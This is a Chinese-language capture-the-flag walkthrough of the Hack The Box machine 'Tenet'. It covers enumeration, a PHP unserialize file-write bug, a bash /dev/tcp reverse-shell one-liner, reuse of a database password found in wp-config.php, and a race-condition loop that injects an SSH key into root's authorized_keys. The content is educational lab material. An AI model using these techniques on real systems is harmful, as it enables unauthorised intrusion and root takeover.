HTB-Tenet

请添加图片描述

信息收集

在这里插入图片描述
在这里插入图片描述

80端口

在这里插入图片描述
apache 2.4.49存在的exploit。
在这里插入图片描述

目录扫描

在这里插入图片描述

/users.txt目录

在这里插入图片描述

/wordpress/wp-login.php

在这里插入图片描述
在Go to Tenet超链接会出现tenet.htb。
在这里插入图片描述
添加至hosts再次访问,会看到三篇文章。
在这里插入图片描述

tenet.htb

从三个文章中收获了疑似的用户名protagonistneil
在这里插入图片描述
其中neil在询问是否删除了sator php file 以及backup,所以现在开始寻找它,但是他们并没说清楚是IP上的文件还是vhost虚拟主机上的。写个脚本或者burp suite跑一下。

http://10.10.10.223/sator.php
在这里插入图片描述
http://10.10.10.223/sator.php.bak

立足

class DatabaseExport
{
        public $user_file = 'users.txt';
        public $data = '';
        public function update_db()
        {
                echo '[+] Grabbing users from text file <br>';
                $this-> data = 'Success';			#给data赋值
        }
        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                #__DIR__获取当前目录绝对路径,拼接上'/'和文件名users.txt,再把data变量的值赋给前面拼接好的文件。__destruct会在反序列化结束后调用
                #综上所述我们只需要改变data、user_file变量的值。
                echo '[] Database updated <br>';
        //      echo 'Gotta get this working properly...';
        }
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>

很明显需要一个反序列化利用。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在burp suite里对bash -c "bash -i >& /dev/tcp/ip/port 0>&1"进行url编码。

在这里插入图片描述

www-data -> neil

/var/www/html/wordpress目录有一个wp的配置文件wp-config.php,其中有MySQL的配置,使用neil:Opera2112登录。

在这里插入图片描述
在这里插入图片描述

neil -> root

在这里插入图片描述
查看我们拥有的权限。
在这里插入图片描述

#!/bin/bash   
checkAdded() {
		#对key进行处理获取,以空格为划分取第三段也就是root@ubuntu,将其赋值给sshName。                                                                                                                                                                                                                                                                                                                                                                                                                                                    
        sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3) 
        #检查/root/.ssh/authorized_keys文件内是否含有root@ubuntu。 -z是检查字符串长度是否为0,为0返回0否则返回1。
        if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
        #如果含有root@ubuntu则打印root@ubuntu添加成功               
                /bin/echo "Successfully added $sshName to authorized_keys file!"           
        else
        #如果没有含有就打印添加出错。                                                                    
                /bin/echo "Error in adding $sshName to authorized_keys file!"              
        fi                                                                                 
}                                                                                          
                                                                                           
checkFile() {           
		#检查$1变量所指的文件为空或$1变量文件不是普通文档就执行下面语句(-s检查文件内容是否为空,-f检查文件是否为普通文档,不是目录也不是设备文件是普通文档)。                                                                   
        if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then                                            
                /bin/echo "Error in creating key file!"     
                #如果$1变量所指的文档是普通文档则执行下面语句,只要让$1所指的文件为空并且是普通文件就可以到第二个if来。                               
                if [[ -f $1 ]]; then /bin/rm $1; fi                                        
                exit 1                                                                     
        fi                                                                                 
}                                                                                          
                                                                                           
addKey() {
		#在/tmp/生成一个名叫ssh-8个随机字符组成的文件名的临时文件,每一个X代表一个随机字符。
		#-u我在手册上查到的是只打印生成的临时文件名称,而不创建它。将生成的随即名赋予tmpName。                                                                                 
        tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)                                             
        #设置当前权限掩码是110,最大权限是666(文件最大权限是666,
        #目录最大权限是777,因为安全问题文件最大权限是666)-110=556(w-xw-xwr-)的名为变量$tmpName所指的文件。
        (umask 110; touch $tmpName) 
        #把key变量值附加到$tmpName所指的文件内。                                                       
        /bin/echo $key >>$tmpName                                                          
        #把文件名传给checkFile函数
        checkFile $tmpName                                                                 
        #将$tmpName所指向的文件内容附加到/root/.ssh/authorized_keys
        /bin/cat $tmpName >>/root/.ssh/authorized_keys
        #删除创建的文件                                     
        /bin/rm $tmpName                                                                   
}                                                                                          

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"                                                                                          
addKey                                                                                     
checkAdded           

我们没有能直接输入的入口。生成的文件我们可以输入,所以想法就是写入自己的公钥进去。
现在本地生成ssh公钥。
在这里插入图片描述
在这里插入图片描述

将我的公钥放在pub文件里,当然也可以直接丢在代码中。

while true;do for f in /tmp/ssh-*;do cat pub > $f;done;done

在这里插入图片描述
在这里插入图片描述
条件竞争可能会失败多次,多加尝试即可。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值